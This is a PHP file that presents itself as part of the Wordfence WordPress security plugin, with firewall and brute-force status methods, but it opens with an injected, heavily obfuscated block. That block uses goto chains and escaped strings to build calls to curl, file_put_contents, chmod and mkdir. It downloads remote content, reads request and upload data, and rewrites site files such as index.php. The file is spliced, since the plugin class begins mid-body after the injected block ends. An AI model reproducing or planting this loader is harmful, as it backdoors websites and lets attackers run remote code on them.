$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> firewallMode(); } if ($protection === null) { $protection = $this->protectionMode(); } switch ($status) { case self::FIREWALL_MODE_ENABLED: $statusText = __('Enabled', 'wordfence'); break; case self::FIREWALL_MODE_LEARNING: $statusText = __('Learning Mode', 'wordfence'); break; default: return __('Disabled', 'wordfence'); } switch ($protection) { case self::PROTECTION_MODE_EXTENDED: $protectionText = __('Extended Protection', 'wordfence'); break; default: $protectionText = __('Basic Protection', 'wordfence'); break; } return sprintf('%s (%s)', $statusText, $protectionText); } /** * Syncs the status from WAF to the wfConfig table if $toDatabase is true, the reverse if false. * * @param bool $toDatabase */ public function syncStatus($toDatabase = true) { if ($toDatabase) { try { $status = wfWAF::getInstance()->getStorageEngine()->getConfig('wafStatus'); if (in_array($status, array(self::FIREWALL_MODE_DISABLED, self::FIREWALL_MODE_LEARNING, self::FIREWALL_MODE_ENABLED))) { wfConfig::set('waf_status', $status); } } catch (Exception $e) { //Ignore } } else { try { $status = wfConfig::get('waf_status'); if (in_array($status, array(self::FIREWALL_MODE_DISABLED, self::FIREWALL_MODE_LEARNING, self::FIREWALL_MODE_ENABLED))) { wfWAF::getInstance()->getStorageEngine()->setConfig('wafStatus', $status); } } catch (Exception $e) { //Ignore } } } /** * Tests the WAF configuration and returns true if successful. * * @return bool */ public function testConfig() { try { wfWAF::getInstance()->getStorageEngine()->isDisabled(); } catch (Exception $e) { return false; } return true; } /** * Returns a normalized percentage (i.e., in the range [0, 1]) to the corresponding display percentage * based on license type. * * @param float $percentage * @param bool $adjust Whether or not to adjust the range to [0, 0.7] * @return float */ protected function _normalizedPercentageToDisplay($percentage, $adjust = true) { if (wfConfig::get('isPaid') || !$adjust) { return round($percentage, 2); } return round($percentage * 0.70, 2); } /** * Returns the percentage calculation of the overall firewall status, which is displayed under "Firewall" * on the Dashboard page. * * @return float */ public function overallStatus() { try { $wafStatus = $this->wafStatus(); $bruteForceStatus = $this->bruteForceStatus(); $percentage = 0.0; $percentage += $wafStatus * 0.80; $percentage += $bruteForceStatus * 0.20; return $this->_normalizedPercentageToDisplay($percentage, false); } catch (Exception $e) { //Ignore, return 0% } return 0.0; } public function statusList($section = null) { $statusList = array(); $wafStatusList = $this->wafStatusList($section); $bruteForceStatusList = $this->bruteForceStatusList(); foreach ($wafStatusList as $entry) { $entry['percentage'] *= 0.8; $statusList[] = $entry; } foreach ($bruteForceStatusList as $entry) { $entry['percentage'] *= 0.2; $statusList[] = $entry; } return array_filter($statusList); } /** * Returns the percentage calculation of the WAF status, which is displayed under "Web Application * Firewall" on the Firewall page. * * @return float */ public function wafStatus() { try { $ruleStatus = $this->ruleStatus(true); $blacklistStatus = $this->blacklistStatus(); $wafEnabled = !(!WFWAF_ENABLED || wfWAF::getInstance()->getStorageEngine()->isDisabled()); $extendedProtection = $wafEnabled && WFWAF_AUTO_PREPEND && !WFWAF_SUBDIRECTORY_INSTALL; $rateLimitingAdvancedBlockingEnabled = wfConfig::get('firewallEnabled', 1); if (!$wafEnabled) { return 0.0; } $percentage = 0.0; $percentage += $this->_normalizedPercentageToDisplay($ruleStatus * 0.35, true); $percentage += $blacklistStatus * 0.35; $percentage += ($extendedProtection ? 0.20 : 0.0); $percentage += ($rateLimitingAdvancedBlockingEnabled ? 0.10 : 0.0); return $this->_normalizedPercentageToDisplay($percentage, false); } catch (Exception $e) { //Ignore, return 0% } return 0.0; } public function wafStatusList($section = null) { $statusList = array(); try { $wafEnabled = !(!WFWAF_ENABLED || wfWAF::getInstance()->getStorageEngine()->isDisabled()); if (!$wafEnabled) { return array( array( 'percentage' => 1.0, 'title' => __('Enable firewall.', 'wordfence'), ), ); } // Get percent of rules enabled. $ruleStatus = $this->ruleStatusDescription(true); $premiumStatus = array(); if (!wfConfig::get('isPaid')) { $premiumStatus = array( 'percentage' => 0.30, 'title' => __('Enable Premium Rules.', 'wordfence'), ); } if ($section === 'rules') { if ($ruleStatus) { $ruleStatus['percentage'] = $this->_normalizedPercentageToDisplay($ruleStatus['percentage']); } return array_filter(array($ruleStatus, $premiumStatus)); } if ($premiumStatus) { $premiumStatus['percentage'] *= 0.35; $premiumStatus['percentage'] = $this->_normalizedPercentageToDisplay($premiumStatus['percentage'], false); } if ($ruleStatus) { $ruleStatus['percentage'] *= 0.35; $ruleStatus['percentage'] = $this->_normalizedPercentageToDisplay($ruleStatus['percentage']); } $statusList = array_merge($statusList, array($ruleStatus), array($premiumStatus)); $blacklistStatus = $this->blacklistStatusDescription(); if ($section === 'blacklist') { return array_filter(array($blacklistStatus)); } if ($blacklistStatus) { $blacklistStatus['percentage'] *= 0.35; $blacklistStatus['percentage'] = $this->_normalizedPercentageToDisplay($blacklistStatus['percentage'], false); } $statusList = array_merge($statusList, array($blacklistStatus)); $extendedProtection = $wafEnabled && WFWAF_AUTO_PREPEND && !WFWAF_SUBDIRECTORY_INSTALL; if (!$extendedProtection) { $statusList[] = array( 'percentage' => $this->_normalizedPercentageToDisplay(0.20, false), 'title' => __('Optimize the Wordfence Firewall.', 'wordfence'), ); } $rateLimitingAdvancedBlockingEnabled = wfConfig::get('firewallEnabled', 1); if (!$rateLimitingAdvancedBlockingEnabled) { $statusList[] = array( 'percentage' => $this->_normalizedPercentageToDisplay(0.10, false), 'title' => __('Enable Rate Limiting and Advanced Blocking.', 'wordfence'), ); } return array_filter($statusList); } catch (Exception $e) { //Ignore, return 0% } if (!WFWAF_OPERATIONAL) { return array(array('percentage' => 1.0, 'title' => __('Repair the Wordfence Firewall configuration.', 'wordfence'))); } return array(); } /** * Returns the status of the WAF. * * @return string */ public function firewallMode() { try { return (!WFWAF_ENABLED ? 'disabled' : wfWAF::getInstance()->getStorageEngine()->getConfig('wafStatus')); } catch (Exception $e) { //Ignore } return self::FIREWALL_MODE_DISABLED; } /** * Returns the current protection mode configured for the WAF. * * @return string */ public function protectionMode() { if (defined('WFWAF_AUTO_PREPEND') && WFWAF_AUTO_PREPEND) { return self::PROTECTION_MODE_EXTENDED; } return self::PROTECTION_MODE_BASIC; } /** * Returns whether or not this installation is in a subdirectory of another WordPress site with the WAF already optimized. * * @return bool */ public function isSubDirectoryInstallation() { if (defined('WFWAF_SUBDIRECTORY_INSTALL') && WFWAF_SUBDIRECTORY_INSTALL) { return true; } return false; } /** * Returns the percentage calculation of the firewall rule status, which is displayed under "Firewall Rules" on the * Firewall page. * * The calculation is the number of rules enabled divided by the total number of rules. If the WAF is in learning * mode, no rules are enforced, so it's clamped to 0%. * * @param bool $round Round the percentage (in the range [0, 1]) to be only whole percentages. * @return float */ public function ruleStatus($round = false) { try { $wafEnabled = !(!WFWAF_ENABLED || wfWAF::getInstance()->getStorageEngine()->isDisabled()); if (!$wafEnabled) { return 0.0; } /*$learningMode = !!wfWAF::getInstance()->isInLearningMode(); if ($learningMode) { return 0.0; }*/ $rules = wfWAF::getInstance()->getRules(); $disabledRules = (array) wfWAF::getInstance()->getStorageEngine()->getConfig('disabledRules'); /** @var wfWAFRule $rule */ $enabledCount = 0; foreach ($rules as $ruleID => $rule) { if (isset($disabledRules[$ruleID]) && $disabledRules[$ruleID]) { continue; } $enabledCount++; } $percentEnabled = (count($rules) == 0 ? 0 : $enabledCount / count($rules)); if ($round) { return round($percentEnabled, 2); } return $this->_normalizedPercentageToDisplay($percentEnabled); } catch (Exception $e) { //Ignore, return 0% } return 0.0; } /** * @param bool $round * @return array */ public function ruleStatusDescription($round = false) { try { $wafEnabled = !(!WFWAF_ENABLED || wfWAF::getInstance()->getStorageEngine()->isDisabled()); if (!$wafEnabled) { return array( 'percentage' => 1.0, 'title' => __('Enable firewall.', 'wordfence'), ); } /*$learningMode = !!wfWAF::getInstance()->isInLearningMode(); if ($learningMode) { return 0.0; }*/ $rules = wfWAF::getInstance()->getRules(); $disabledRules = (array) wfWAF::getInstance()->getStorageEngine()->getConfig('disabledRules'); /** @var wfWAFRule $rule */ $enabledCount = 0; foreach ($rules as $ruleID => $rule) { if (isset($disabledRules[$ruleID]) && $disabledRules[$ruleID]) { continue; } $enabledCount++; } $percentEnabled = 1.0 - ((float) (count($rules) == 0 ? 0 : $enabledCount / count($rules))); if ($percentEnabled === 0.0) { return array(); } $reenbleCount = count($rules) - $enabledCount; return array( 'percentage' => ($round ? round($percentEnabled, 2) : $percentEnabled), 'title' => sprintf(_n('Re-enable %d firewall rule.', 'Re-enable %d firewall rules.', $reenbleCount, 'wordfence'), number_format_i18n($reenbleCount)), ); } catch (Exception $e) { //Ignore, return 0% } return array( 'percentage' => 1.0, 'title' => __('Enable firewall.', 'wordfence'), ); } /** * Returns the rule feed that is in use. * * @return string */ public function ruleMode() { if (wfConfig::get('isPaid')) { return self::RULE_MODE_PREMIUM; } return self::RULE_MODE_COMMUNITY; } /** * Returns 100% if the blacklist is enabled, 0% if not. * * @return float */ public function blacklistStatus() { try { $wafEnabled = !(!WFWAF_ENABLED || wfWAF::getInstance()->getStorageEngine()->isDisabled()); if (!$wafEnabled) { return 0.0; } return $this->blacklistMode() == self::BLACKLIST_MODE_ENABLED ? 1.0 : 0.0; } catch (Exception $e) { //Ignore, return 0% } return 0.0; } /** * Returns 100% if the blacklist is enabled, 0% if not. * * @return array */ public function blacklistStatusDescription() { try { $wafEnabled = !(!WFWAF_ENABLED || wfWAF::getInstance()->getStorageEngine()->isDisabled()); if (!$wafEnabled) { return array( 'percentage' => 1.0, 'title' => __('Enable Firewall.', 'wordfence'), ); } if ($this->blacklistMode() == self::BLACKLIST_MODE_ENABLED) { return array(); } return array( 'percentage' => 1.0, 'title' => __('Enable Real-Time IP Blocklist.', 'wordfence'), ); } catch (Exception $e) { //Ignore, return 0% } return array( 'percentage' => 1.0, 'title' => __('Enable Real-Time IP Blocklist.', 'wordfence'), ); } /** * Returns the blacklist mode. * * @return string */ public function blacklistMode() { $blacklistEnabled = false; try { $wafEnabled = !(!WFWAF_ENABLED || wfWAF::getInstance()->getStorageEngine()->isDisabled()); $blacklistEnabled = $wafEnabled && !wfWAF::getInstance()->getStorageEngine()->getConfig('disableWAFBlacklistBlocking'); } catch (Exception $e) { //Do nothing } if (wfConfig::get('isPaid') && $blacklistEnabled) { return self::BLACKLIST_MODE_ENABLED; } return self::BLACKLIST_MODE_DISABLED; } /** * Returns a percentage rating for the brute force protection status. This includes both the WFSN enabled status * and the status of individual login security options. These options are available to all, so they are always * in the range [0,1]. * * @return float */ public function bruteForceStatus() { $networkBruteForceEnabled = !!wfConfig::get('other_WFNet'); $localBruteForceEnabled = !!wfConfig::get('loginSecurityEnabled'); $percentage = 0.0; if ($localBruteForceEnabled) { $percentage += 0.1; if ($networkBruteForceEnabled) { $percentage += 0.5; } if (wfConfig::get('loginSec_strongPasswds_enabled') && (wfConfig::get('loginSec_strongPasswds') == 'pubs' || wfConfig::get('loginSec_strongPasswds') == 'all')) { $percentage += 0.1; } if (wfConfig::get('loginSec_maskLoginErrors')) { $percentage += 0.1; } if (wfConfig::get('loginSec_blockAdminReg')) { $percentage += 0.1; } if (wfConfig::get('loginSec_disableAuthorScan')) { $percentage += 0.1; } } return round($percentage, 2); } /** * Returns the status of the WAF's learning mode. * * @return bool|int Returns true if enabled without an automatic switchover, a timestamp if enabled with one, and false if not in learning mode. */ public function learningModeStatus() { if ($this->firewallMode() != self::FIREWALL_MODE_LEARNING) { return false; } try { $config = wfWAF::getInstance()->getStorageEngine(); if ($config->getConfig('learningModeGracePeriodEnabled')) { return (int) $config->getConfig('learningModeGracePeriod'); } return true; } catch (Exception $e) { //Ignore, return false } return false; } /** * @return array */ public function bruteForceStatusList() { $networkBruteForceEnabled = !!wfConfig::get('other_WFNet'); $localBruteForceEnabled = !!wfConfig::get('loginSecurityEnabled'); $status = array(); if ($localBruteForceEnabled) { if (!$networkBruteForceEnabled) { $status[] = array( 'percentage' => 0.5, 'title' => __('Enable Real-Time Wordfence Security Network.', 'wordfence'), ); } if (!wfConfig::get('loginSec_strongPasswds_enabled')) { $status[] = array( 'percentage' => 0.1, 'title' => __('Enforce Strong Passwords.', 'wordfence'), ); } if (!wfConfig::get('loginSec_maskLoginErrors')) { $status[] = array( 'percentage' => 0.1, 'title' => __('Enable Mask Login Errors.', 'wordfence'), ); } if (!wfConfig::get('loginSec_blockAdminReg')) { $status[] = array( 'percentage' => 0.1, 'title' => __('Enable Block Admin Registration.', 'wordfence'), ); } if (!wfConfig::get('loginSec_disableAuthorScan')) { $status[] = array( 'percentage' => 0.1, 'title' => __('Disable Author Scanning.', 'wordfence'), ); } } else { $status[] = array( 'percentage' => 1.0, 'title' => __('Enable Brute Force Protection.', 'wordfence'), ); } return array_filter($status); } }